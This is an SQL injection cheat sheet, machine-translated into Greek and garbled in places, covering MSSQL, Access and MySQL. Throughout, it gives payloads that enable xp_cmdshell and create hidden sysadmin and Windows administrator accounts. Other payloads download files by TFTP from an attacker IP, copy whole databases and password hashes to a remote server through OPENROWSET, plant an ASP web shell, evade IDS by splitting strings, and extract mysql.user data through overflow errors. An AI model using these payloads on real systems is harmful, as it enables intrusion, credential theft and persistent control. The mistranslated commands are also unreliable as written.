sp_addextendedproc 'xp_cmdshell','xplog70.dll' Υπάρχουν xp_blank>_cmdshell διαδικασίες δοκιμών: ; εκτελεστικός πλοίαρχος.. xp_blank>_cmdshell σκηνοθεσία ; εκτελεστικός master.dbo.sp_blank>_addlogin jiaoniang$; – Προσθήκη λογαριασμών SQL ; exec master.dbo.sp_blank>_password null,jiaoniang$,1866574; – ; εκτελεστικός master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; – ; exec master.dbo.xp_blank>_cmdshell καθαρός χρήστης jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; exec master.dbo.xp_blank>_cmdshell net διαχειριστές τοπικής ομάδας jiaoniang$ /add; – εκτελεστικός πλοίαρχος.. xp_blank>_servicecontrol έναρξη, προγραμματίστε να ξεκινήσετε _blank> υπηρεσία εκτελεστικός πλοίαρχος.. xp_blank>_servicecontrol έναρξη, διακομιστής ; ΔΗΛΏΣΤΕ @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell @shell ΕΞΆΓΕΤΕ EXEC SP_blank>_OAMETHOD
@shell,εκτέλεση,null, C:\WINNT\system32\cmd.exe /c καθαρός χρήστης jiaoniang$ 1866574 /προσθήκη ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net διαχειριστές τοπικής ομάδας jiaoniang$ /add ; εκτελεστικός πλοίαρχος.. xp_blank>_cmdshell tftp -i youip get file.exe – Ανεβάστε αρχεία χρησιμοποιώντας TFTP
; δηλώστε @a σύνολο ονομάτων συστήματος @a=xp_blank>_+cmdshell exec @a dir c:\ ; δηλώστε @a σύνολο ονομάτων συστήματος @a=XP+_blank>_cm'+'dshell exec @a dir c:\ ; να δηλώσει @a· σύνολο @a=db_blank>_name(); εφεδρική βάση δεδομένων @a στο disk=your IP Ο κοινόχρηστος κατάλογός σας bak.dat Εάν είναι περιορισμένο, ναι. Επιλέξτε * από το openrowset(_blank>sqloledb,server; α.ε.; ,επιλέξτε OK! εκτελεστικό
master.dbo.sp_blank>_addlogin hax)
Δομή ερωτήματος: Επιλέξτε * ΑΠΟ ειδήσεις Όπου id=... ΚΑΙ topic=... ΚΑΙ ..... adminand 1=(επιλέξτε count(*) από [χρήστης] όπου όνομα χρήστη=θύμα και δεξιά(αριστερά(userpass,01),1)=1)
και userpass <> επιλέξτε 123. – ; χρήση κύριου? – :a ή όνομα όπως fff%; – Εμφανίζει έναν χρήστη με το όνομα ffff. και 1<>(επιλέξτε count(email) από [χρήστης]); – ; update [users] set email=(επιλέξτε το κορυφαίο 1 όνομα από sysobjects όπου xtype=u και status>0) όπου
όνομα=ffff; – ; update [users] set email=(επιλέξτε το κορυφαίο 1 αναγνωριστικό από το sysobjects όπου xtype=you και name=ad) όπου
όνομα=ffff; – ; update [users] set email=(επιλέξτε το κορυφαίο 1 όνομα από sysobjects όπου xtype=u και id>581577110)
όπου όνομα=ffff; – ; ενημέρωση [χρήστες] ορισμός email=(επιλέξτε το κορυφαίο 1 πλήθος (αναγνωριστικό) από τον κωδικό πρόσβασης) όπου όνομα=ffff; – ; ενημέρωση [χρήστες] ορισμός email=(επιλέξτε το κορυφαίο 1 pwd από τον κωδικό πρόσβασης όπου id=2) όπου όνομα=ffff; – ; ενημέρωση [χρήστες] ορισμός email=(επιλέξτε το κορυφαίο 1 όνομα από τον κωδικό πρόσβασης όπου id=2) όπου όνομα=ffff; – Η παραπάνω δήλωση είναι να λάβετε τον πρώτο πίνακα χρήστη στη βάση δεδομένων _blank> και να βάλετε το όνομα του πίνακα στο πεδίο email του χρήστη ffff. Προβάλλοντας το προφίλ χρήστη του ffff, μπορείτε να λάβετε τον πρώτο πίνακα που ονομάζεται AD Στη συνέχεια, λάβετε το αναγνωριστικό αυτού του πίνακα σύμφωνα με τη διαφήμιση ονόματος πίνακα για να λάβετε το όνομα του δεύτερου πίνακα
εισαγωγή σε τιμές χρηστών( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– εισαγωγή στις τιμές των χρηστών( 667,123,123,0xffff)– Εισαγωγή τιμών στους χρήστες ( 123, διαχειριστής–, κωδικός πρόσβασης, 0xffff)– ; και χρήστη>0 ; και (επιλέξτε count(*) από sysobjects)>0 ; και (επιλέξτε count(*) από το mysysobjects)>0 // για τη βάση δεδομένων access_blank>
Απαρίθμηση του ονόματος του πίνακα δεδομένων ; ενημέρωση συνόλου aaa aaa=(επιλέξτε το κορυφαίο όνομα 1 από τα sysobjects όπου xtype=u και status>0). – Εδώ ενημερώνεται το όνομα του πρώτου πίνακα στο πεδίο AAA. Διαβάστε τον πρώτο πίνακα και ο δεύτερος πίνακας μπορεί να διαβαστεί ως εξής (προσθέστε και ονομάστε μετά τη συνθήκη<> το όνομα του πίνακα που μόλις πήρατε). ; Ενημερώστε το σύνολο AAA aaa=(επιλέξτε το κορυφαίο όνομα 1 από τα sysobjects όπου xtype=u και status>0 και
όνομα<>ψήφος); – Στη συνέχεια, id=1552 και υπάρχει(επιλέξτε * από aaa όπου aaa>5) Διαβάστε τον δεύτερο πίνακα και διαβάστε τον έναν προς έναν μέχρι να μην υπάρχει κανένας. Το πεδίο ανάγνωσης μοιάζει με αυτό: ; Ενημέρωση συνόλου AAA AAA=(Επιλέξτε Top 1 col_blank>_name(object_blank>_id(Όνομα πίνακα),1)); – Στη συνέχεια, id=152 και exists(επιλέξτε * από aaa όπου aaa>5) λαμβάνει ένα σφάλμα και λάβετε το όνομα του πεδίου ; Ενημέρωση συνόλου AAA aaa=(Επιλέξτε Κορυφή 1 col_blank>_name(object_blank>_id(Όνομα πίνακα),2)); – Στη συνέχεια, id=152 και exists(επιλέξτε * από aaa όπου aaa>5) λαμβάνει ένα σφάλμα και λάβετε το όνομα του πεδίου
[Λήψη ονόματος πίνακα δεδομένων] [Ενημερώστε την τιμή του πεδίου στο όνομα του πίνακα και, στη συνέχεια, διαβάστε την τιμή αυτού του πεδίου για να λάβετε το όνομα του πίνακα] Ενημέρωση συνόλου ονομάτων πίνακα Field=(Επιλέξτε το κορυφαίο 1 όνομα από τα sysobjects όπου xtype=u και status>0 [ και όνομα<>
Το όνομα του πίνακα που παίρνετε Βρείτε ένα συν ένα]) [ όπου συνθήκη] επιλέξτε το κορυφαίο 1 όνομα από τα sysobjects όπου xtype=u και
κατάσταση>0 και το όνομα δεν είναι μέσα (πίνακας 1, πίνακας 2,...) Δημιουργία λογαριασμού διαχειριστή βάσης δεδομένων και λογαριασμού διαχειριστή συστήματος _blank> _blank> έγχυση ευπάθειας μέσω SQLSERVER [Ο τρέχων λογαριασμός πρέπει να είναι η ομάδα SYSADMIN]
[Λήψη ονόματος πεδίου πίνακα δεδομένων] [Ενημερώστε την τιμή του πεδίου στο όνομα του πεδίου και, στη συνέχεια, διαβάστε την τιμή αυτού του πεδίου για να λάβετε το όνομα του πεδίου] Ενημέρωση συνόλου ονόματος πίνακα Πεδίο=(Επιλέξτε Κορυφή 1 col_blank>_name(object_blank>_id (Όνομα πίνακα δεδομένων σε ερώτημα), στήλη πεδίου
Για παράδειγμα: 1) [ όπου κατάσταση]
Παράκαμψη ανίχνευσης IDS [Χρήση μεταβλητών] ; δηλώστε @a σύνολο ονομάτων συστήματος @a=xp_blank>_+cmdshell exec @a dir c:\ ; δηλώστε @a σύνολο ονομάτων συστήματος @a=XP+_blank>_cm'+'dshell exec @a dir c:\
1. Ανοίξτε τη βάση δεδομένων απομακρυσμένης _blank> Βασική σύνταξη επιλέξτε * από το OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, επιλέξτε * από τον πίνακα 1 ) Παράμετροι: (1) Όνομα παρόχου OLEDB 2. Η παράμετρος συμβολοσειράς σύνδεσης μπορεί να είναι οποιαδήποτε θύρα για σύνδεση, όπως π.χ επιλέξτε * από το OPENROWSET(SQLOLEDB, uid=sa; ΑμεΑ=123; Δίκτυο=DBMSSOCN; Διεύθυνση=192.168.0.1,1433; ,
Επιλέξτε * από τον πίνακα 3. Αντιγράψτε ολόκληρη τη βάση δεδομένων _blank> του κεντρικού υπολογιστή προορισμού και εισαγάγετε όλους τους απομακρυσμένους πίνακες στον τοπικό πίνακα.
Βασική σύνταξη: εισαγωγή στο OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, επιλέξτε * από τον πίνακα 1) επιλέξτε
* από τον πίνακα 2 Αυτή η πρόταση γραμμής αντιγράφει όλα τα δεδομένα από τον πίνακα table2 στον κεντρικό υπολογιστή προορισμού στον πίνακα table1 στην απομακρυσμένη βάση δεδομένων _blank>. Κατάλληλες επισκευές στην πρακτική εφαρμογή
Αλλάξτε τη διεύθυνση IP και τη θύρα της συμβολοσειράς σύνδεσης για να κατευθύνετε εκεί που τη χρειάζεστε, όπως: εισαγωγή στο OPENROWSET(SQLOLEDB,uid=sa; ΑμεΑ=123; Δίκτυο=DBMSSOCN; Διεύθυνση=192.168.0.1,1433; ,επιλέξτε
* από τον πίνακα 1) επιλέξτε * από τον πίνακα 2 εισαγωγή στο OPENROWSET(SQLOLEDB,uid=sa; ΑμεΑ=123; Δίκτυο=DBMSSOCN; Διεύθυνση=192.168.0.1,1433; ,επιλέξτε
* από _blank>_sysdatabases) Επιλέξτε * από το master.dbo.sysdatabases εισαγωγή στο OPENROWSET(SQLOLEDB,uid=sa; ΑμεΑ=123; Δίκτυο=DBMSSOCN; Διεύθυνση=192.168.0.1,1433; ,επιλέξτε
* από _blank>_sysobjects) Επιλέξτε * από user_blank>_database.dbo.sysobjects εισαγωγή στο OPENROWSET(SQLOLEDB,uid=sa; ΑμεΑ=123; Δίκτυο=DBMSSOCN; Διεύθυνση=192.168.0.1,1433; ,επιλέξτε
* από _blank>_syscolumns) επιλέξτε * από user_blank>_database.dbo.syscolumns Αναπαραγωγή _blank> βάση δεδομένων: εισαγωγή στο OPENROWSET(SQLOLEDB,uid=sa; ΑμεΑ=123; Δίκτυο=DBMSSOCN; Διεύθυνση=192.168.0.1,1433; ,επιλέξτε
* από τον πίνακα 1) επιλέξτε * από τη βάση δεδομένων.. Πίνακας 1 εισαγωγή στο OPENROWSET(SQLOLEDB,uid=sa; ΑμεΑ=123; Δίκτυο=DBMSSOCN; Διεύθυνση=192.168.0.1,1433; ,επιλέξτε
* από τον πίνακα 2) επιλέξτε * από τη βάση δεδομένων.. Πίνακας 2
Ο κατακερματισμός του κωδικού πρόσβασης που αντιγράφει τη σύνδεση _blank> τον κωδικό πρόσβασης του πίνακα κατακερματισμού (HASH) αποθηκεύεται στο sysxlogins. Δείτε πώς: εισαγωγή στο OPENROWSET(SQLOLEDB,
uid=sa; ΑμεΑ=123; Δίκτυο=DBMSSOCN; Διεύθυνση=192.168.0.1,1433; ,επιλέξτε * από _blank>_sysxlogins)
Επιλέξτε * από τη βάση δεδομένων.dbo.sysxlogins Μόλις πάρετε το χασίς, μπορείτε να το εξαναγκάσετε.
Για να διασχίσετε τον κατάλογο: Αρχικά, δημιουργήστε έναν προσωρινό πίνακα: temp ; δημιουργία θερμοκρασίας πίνακα(αναγνωριστικό nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; εισαγωγή temp exec master.dbo.xp_blank>_availablemedia; – Λάβετε όλες τις τρέχουσες μονάδες δίσκου ; insert in temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Λάβετε μια λίστα με υποκαταλόγους ; εισαγωγή στο temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Λάβετε τη δομή του δέντρου καταλόγου για όλους τους υποκαταλόγους,
Συγχωνεύστε τις ίντσες στον πίνακα θερμοκρασίας ; εισαγωγή στο temp(id) exec master.dbo.xp_blank>_cmdshell πληκτρολογήστε c:\web\index.asp; – Προβολή αρχείου
περιεχόμενο ; insert in temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; – ; insert in temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; – ; εισαγωγή στο temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; εισαγωγή στο temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Αρμόδια αρχή
ΔΗΜΌΣΙΟ) Γράψτε στο τραπέζι: δήλωση 1: και 1=(Επιλογή IS_blank>_SRVROLEMEMBER(sysadmin)); – Δήλωση 2: και 1=(Επιλογή IS_blank>_SRVROLEMEMBER(serveradmin)); – Δήλωση 3: και 1=(Επιλογή IS_blank>_SRVROLEMEMBER(setupadmin)); – Δήλωση 4: και 1=(Επιλέξτε IS_blank>_SRVROLEMEMBER(securityadmin)); – Δήλωση 5: και 1=(Επιλέξτε IS_blank>_SRVROLEMEMBER(securityadmin)); – Δήλωση 6: και 1=(Επιλογή IS_blank>_SRVROLEMEMBER(diskadmin)); – Δήλωση 7: και 1=(Επιλογή IS_blank>_SRVROLEMEMBER(bulkadmin)); – Δήλωση 8: και 1=(Επιλέξτε IS_blank>_SRVROLEMEMBER(bulkadmin)); – Δήλωση 9: και 1=(Επιλέξτε IS_blank>_MEMBER(db_blank>_owner)); –
Γράψτε τη διαδρομή προς τον πίνακα: ; δημιουργία πίνακα dirs(paths varchar(100), id int)– ; insert dirs exec master.dbo.xp_blank>_dirtree c:\– και 0<>(επιλέξτε 1 κορυφαίες διαδρομές από τις διευθύνσεις)– και 0<>(επιλέξτε 1 κορυφαίες διαδρομές από τις κατευθύνσεις όπου οι διαδρομές δεν είναι μέσα(@Inetpub))– ; δημιουργία πίνακα dirs1(paths varchar(100), id int)– ; insert dirs exec master.dbo.xp_blank>_dirtree e:\web– και 0<>(επιλέξτε 1 κορυφαίες διαδρομές από τις οδηγίες1)–
Δημιουργία αντιγράφων ασφαλείας _blank> βάσης δεδομένων σε έναν κατάλογο web: Λήψη ; δηλώστε @a όνομα συστήματος. σύνολο @a=db_blank>_name(); δημιουργία αντιγράφων ασφαλείας της βάσης δεδομένων @a στο disk=e:\web\down.bak; –
και 1=(Επιλέξτε το κορυφαίο 1 όνομα από(Επιλέξτε το κορυφαίο 12 αναγνωριστικό, όνομα από sysobjects όπου xtype=char(85)) T
Παραγγελία με αναγνωριστικό desc) και 1=(Επιλέξτε Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) από sysobjects) Δείτε επίσης
Σχετικοί πίνακες. και 1=(επιλέξτε user_blank>_id από USER_blank>_LOGIN) και 0=(επιλέξτε χρήστη από USER_blank>_LOGIN όπου χρήστης>1)
-=- wscrip{filter}t.shell παράδειγμα -=- δηλώστε @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o έξω exec sp_blank>_oamethod @o, εκτέλεση, NULL, notepad.exe ; δηλώστε @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o έξω exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
δηλώστε @o int, @f int, @t int @ret int Δηλώστε @line varchar(8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o έξω exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, γραμμή ανάγνωσης, @line έξω ενώ( @ret = 0 ) αρχίζω εκτύπωση @line exec @ret = sp_blank>_oamethod @f, γραμμή ανάγνωσης, @line έξω Τέλος
δηλώστε @o int, @f int, @t int @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o έξω exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, γραμμή εγγραφής, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
δηλώστε @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o έξω exec sp_blank>_oamethod @o, register, NULL, foo, bar εκτελεστικό sp_blank>_oasetproperty @o, ταχύτητα, 150 exec sp_blank>_oamethod @o, μιλήστε, NULL, όλοι οι διακομιστές συνέχειας σας ανήκουν σε, εμάς, 528 αναμονήγια καθυστέρηση 00:00:05
; δηλώστε @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec
sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, ταχύτητα, 150 exec
sp_blank>_oamethod @o, μιλήστε, NULL, όλοι οι διακομιστές συνέχειας σας ανήκουν σε εμάς, 528 αναμονήγια καθυστέρηση
00:00:05–
xp_blank>_dirtree την ισχύουσα άδεια PUBLIC exec master.dbo.xp_blank>_dirtree c: Οι πληροφορίες που επιστρέφονται έχουν δύο πεδία: υποκατάλογος, βάθος. Πεδία υποκαταλόγου
Τύπος χαρακτήρα, το πεδίο βάθους είναι το πεδίο διαμόρφωσης. δημιουργία πίνακα dirs(paths varchar(100), id int) Δημιουργία πινάκων, ο πίνακας που δημιουργείται εδώ σχετίζεται με την παραπάνω xp_blank>_dirtree, με ίσα πεδία και τον ίδιο τύπο. insert dirs exec master.dbo.xp_blank>_dirtree c: Αρκεί να φτιάξουμε έναν πίνακα και να ορίσουμε εξίσου τα πεδία που επιστρέφονται από τη διαδικασία αποθήκευσης
Εκτελέστε! Για να πετύχουμε το αποτέλεσμα της γραφής πινάκων, βήμα προς βήμα για να πετύχουμε τις πληροφορίες που θέλουμε! Αυτή η έγχυση σφάλματος βασίζεται κυρίως στην υπερχείλιση τύπου δεδομένων Mysql mysql > SELECT 18446744073709551610 * 2 ; ΣΦΑΛΜΑ 1690 ( 22003 ): Η τιμή BIGINT UNSIGNED είναι εκτός εύρους στο '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; ΣΦΑΛΜΑ 1690 ( 22003 ): Η τιμή BIGINT UNSIGNED είναι εκτός εύρους στο '(- (1) *
9223372036854775808)' Έκδοση βάσης δεδομένων ερωτημάτων: mysql> SELECT * 2 (if ((SELECT * from (SELECT (version ()) )) s), 18446744073709551610,
18446744073709551610)); ΣΦΑΛΜΑ 1690 (22003): Η τιμή BIGINT UNSIGNED είναι εκτός εύρους στο '(2 * if (( Επιλέξτε ' 5.5 'από
Διπλό), 18446744073709551610.18446744073709551610))' Λάβετε το όνομα του πεδίου: mysql> ΕΠΙΛΟΓΗ 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from
test.shop όριο 1), 18446744073709551610, 18446744073709551610);
ΣΦΑΛΜΑ 1690 (22003): Η τιμή BIGINT UNSIGNED είναι εκτός εύρους στο '(2 * if(((select
'άρθρο','έμπορος','τιμή' από (επιλέξτε 'δοκιμή'.'κατάστημα'.'άρθρο' AS
'άρθρο','δοκιμή'.'κατάστημα'.'έμπορος' AS 'έμπορος','δοκιμή'.'κατάστημα'.'τιμή' AS 'τιμή' από
'δοκιμή'.'κατάστημα') όριο 1) > (επιλέξτε
'test'.'shop'.'article','test'.'shop'.'dealer','test'.'shop'.'price' από το 'test'.'shop' limit
1)),18446744073709551610,18446744073709551610))' Λάβετε την τιμή του πεδίου:
mysql> ΕΠΙΛΟΓΗ 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
ΣΦΑΛΜΑ 1690 (22003): Η τιμή BIGINT UNSIGNED είναι εκτός εύρους στο '(2 * if(((select
'localhost','root','*','Y','Y','Y','Y','Y','Y','Y','Y','Y',
Y','Y','Y','Y','Y','Y','Y','Y','0','0','0','0','','','' από το διπλό όριο 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Σημειώστε ότι αυτή η μέθοδος δεν λειτουργεί με παλαιότερες εκδόσεις της Mysql, και θα πρέπει να γνωρίζετε το όριο μήκους του μηνύματος σφάλματος, καθώς αυτό θα καθορίσει
Μπορείτε να πάρετε όσο χρόνο θέλετε: mysys / my_error.γ
/* Μέγιστο μήκος μηνύματος σφάλματος. Θα πρέπει να διατηρείται σε συγχρονισμό με MYSQL_ERRMSG_SIZE. */ #define ERRMSGSIZE (512)
Εάν το αντικείμενο είναι το MariaDB (μια διακλάδωση της Mysql), ενδέχεται να δείτε ένα μήνυμα σφάλματος όπως αυτό όταν δοκιμάσετε την παραπάνω μέθοδο:
mysql> ΕΠΙΛΟΓΗ 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) ΣΦΑΛΜΑ 1690 (22003): Η τιμή BIGINT UNSIGNED είναι εκτός εύρους στο '(2 * if((select
#),18446744073709551610,18446744073709551610))'
Ως λύση, αυτό το πρόβλημα μπορεί να λυθεί με αυτόν τον τρόπο:
mysql> ΕΠΙΛΟΓΗ (i ΔΕΝ ΕΙΝΑΙ NULL) - -9223372036854775808 ΑΠΟ (ΕΠΙΛΟΓΗ (version())i)a; ΣΦΑΛΜΑ 1690 (22003): Η τιμή BIGINT είναι εκτός εύρους στο '((Το '5.5-MariaDB' δεν είναι μηδενικό) - -
(9223372036854775808))' Τώρα ας δούμε αν μπορούμε να κάνουμε το Διάνυσμα μας λίγο πιο κοντό
//查询数据库版本
SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) = επιλέξτε 1E308*if((select*from(select version())x),2,2)
SELECT (i ΔΕΝ ΕΙΝΑΙ NULL) - -9223372036854775808 FROM (SELECT (version())i)a = επιλέξτε if(x,2,2)*1E308 από(επιλέξτε έκδοση()x)y
//获取表字段名称 SELECT 2 * if((SELECT * from (select * from (select * from test.shop) as '' limit 1)>(SELECT * from
test.shop όριο 1), 18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) ως '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 επιλέξτε 1E308*if((select user|| οικοδεσπότης|| κωδικός πρόσβασης|| file_priv from(select*from mysql.user LIMIT
1)ένα όριο 1),2,2)
//获取字段个数
επιλέξτε 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)
Κάποιες άλλες παραμορφώσεις
SELECT (i ΔΕΝ ΕΙΝΑΙ NULL) - -9223372036854775808 FROM (SELECT (version())i)a επιλέξτε 1E308*if((select user|| οικοδεσπότης|| κωδικός πρόσβασης|| file_priv from(select*from mysql.user LIMIT
1)όριο 1),2,2)· => επιλέξτε 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)ένα όριο
1),1e308,0)· mysql> επιλέξτε (επιλέξτε * από mysql.user)=1; mysql> επιλέξτε (επιλέξτε * από mysql.user)σε(1);
ΣΦΑΛΜΑ 1241 (21000): Ο τελεστέος πρέπει να περιέχει 42 στήλες επιλέξτε 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)ένα όριο
1),1e308,0)· Επιλέξτε IF((Επιλογή χρήστη|| οικοδεσπότης|| κωδικός πρόσβασης|| file_priv from(select*from mysql.user LIMIT 1)a
όριο 1),2,2)*1E308 SELECT (i ΔΕΝ ΕΙΝΑΙ NULL) - -9223372036854775808 FROM (SELECT (version())i)a επιλέξτε (x!=0x00)--9223372036854775808 from(SELECT version()x)y mysql> select!x-~0.FROM(select+user()x)f; ΣΦΑΛΜΑ 1690 (22003): Η τιμή BIGINT UNSIGNED είναι εκτός εύρους στο '((not('root@localhost')) - ~
(0))' 3. Κρίνετε το σύστημα βάσης δεδομένων ; και (επιλέξτε count(*) από sysobjects)>0 mssql ; και (επιλέξτε count(*) από msysobjects)>0 πρόσβαση 4. Η παράμετρος έγχυσης είναι ένας χαρακτήρας 'και [κριτήρια ερωτήματος] και ''=' 5. Δεν υπάρχουν φιλτραρισμένες παράμετροι κατά την αναζήτηση 'και [κριτήρια ερωτήματος] και '%25'=' 6. Μαντέψτε τη βάση δεδομένων ; και (επιλέξτε Count(*) από το [όνομα βάσης δεδομένων])>0 7. Μαντέψτε το πεδίο ; και (επιλέξτε Πλήθος(όνομα πεδίου) από το όνομα της βάσης δεδομένων)>0 8. Μαντέψτε το μήκος της εγγραφής στο πεδίο ; και (επιλέξτε top 1 len (όνομα πεδίου) από το όνομα βάσης δεδομένων)>0 9. (1) Μαντέψτε την τιμή ASCII του πεδίου (πρόσβαση) ; και (επιλέξτε top 1 asc(mid(όνομα πεδίου, 1,1)) από το όνομα βάσης δεδομένων)>0 (2) Μαντέψτε την τιμή ASCII του πεδίου (mssql) ; και (επιλέξτε top 1 unicode(substring(όνομα πεδίου, 1,1)) από το όνομα της βάσης δεδομένων)>0 10. Δομή άδειας δοκιμής (mssql) ; και 1=(επιλέξτε IS_SRVROLEMEMBER('sysadmin')); -- ; και 1=(επιλέξτε IS_SRVROLEMEMBER('serveradmin')); -- ; και 1=(επιλέξτε IS_SRVROLEMEMBER('setupadmin')); -- ; και 1=(επιλέξτε IS_SRVROLEMEMBER('securityadmin')); -- ; και 1=(επιλέξτε IS_SRVROLEMEMBER('diskadmin')); -- ; και 1=(επιλέξτε IS_SRVROLEMEMBER('bulkadmin')); -- ; και 1=(επιλέξτε IS_MEMBER('db_owner')); -- 11. Προσθέστε έναν λογαριασμό για το mssql και το σύστημα ; exec master.dbo.sp_addlogin όνομα χρήστη. -- ; exec master.dbo.sp_password null, όνομα χρήστη, κωδικός πρόσβασης. -- ; exec master.dbo.sp_addsrvrolemember όνομα χρήστη sysadmin. -- ; exec master.dbo.xp_cmdshell 'καθαρό όνομα χρήστη κωδικός πρόσβασης /σταθμοί εργασίας:* /φορές:όλα
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; exec master.dbo.xp_cmdshell 'καθαρό όνομα χρήστη κωδικός πρόσβασης /προσθήκη'; -- ; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; -- 12. (1) Διασχίστε τον κατάλογο ; δημιουργία πίνακα dirs(paths varchar(100), id int) ; εισαγάγετε το dirs exec master.dbo.xp_dirtree 'c:\' ; και (επιλέξτε τις κορυφαίες 1 διαδρομές από τις οδηγίες)>0 ; και (επιλέξτε τις κορυφαίες 1 διαδρομές από τις κατευθύνσεις όπου οι διαδρομές δεν περιλαμβάνονται ('διαδρομές που ελήφθησαν από το προηγούμενο βήμα'))>) (2) Διασχίστε τον κατάλογο ; δημιουργία θερμοκρασίας πίνακα(αναγνωριστικό nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; εισαγωγή temp exec master.dbo.xp_availablemedia; -- Λάβετε όλες τις τρέχουσες μονάδες δίσκου ; εισαγωγή στο temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Λάβετε μια λίστα με υποκαταλόγους ; εισαγωγή στο temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Λάβετε τη δομή δέντρου καταλόγου για όλους τους υποκαταλόγους ; εισαγωγή στο temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Δείτε τα περιεχόμενα του αρχείου 13. Αποθηκευμένες διαδικασίες στο mssql xp_regenumvalues Κλειδί ρίζας μητρώου, θυγατρικό κλειδί ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' και άλλα
recordset για την επιστροφή όλων των τιμών κλειδιών xp_regread Κλειδί ρίζας, θυγατρικό κλειδί, όνομα κλειδιού-τιμής ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir' επιστρέφει την τιμή του κλειδιού διατύπωσης xp_regwrite Κλειδί ρίζας, θυγατρικό κλειδί, όνομα τιμής, τύπος τιμής, τιμή Υπάρχουν δύο τύποι τύπων τιμών REG_SZ REG_DWORD για τύπους χαρακτήρων και για ακέραιους αριθμούς ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','TestvalueName','reg_sz,'hello' εγγράφονται στο μητρώο xp_regdeletevalue Κλειδί ρίζας, δευτερεύον κλειδί, όνομα τιμής exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName' για να καταργήσετε μια τιμή xp_regdeletekey κλειδί διαγραφής 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey',
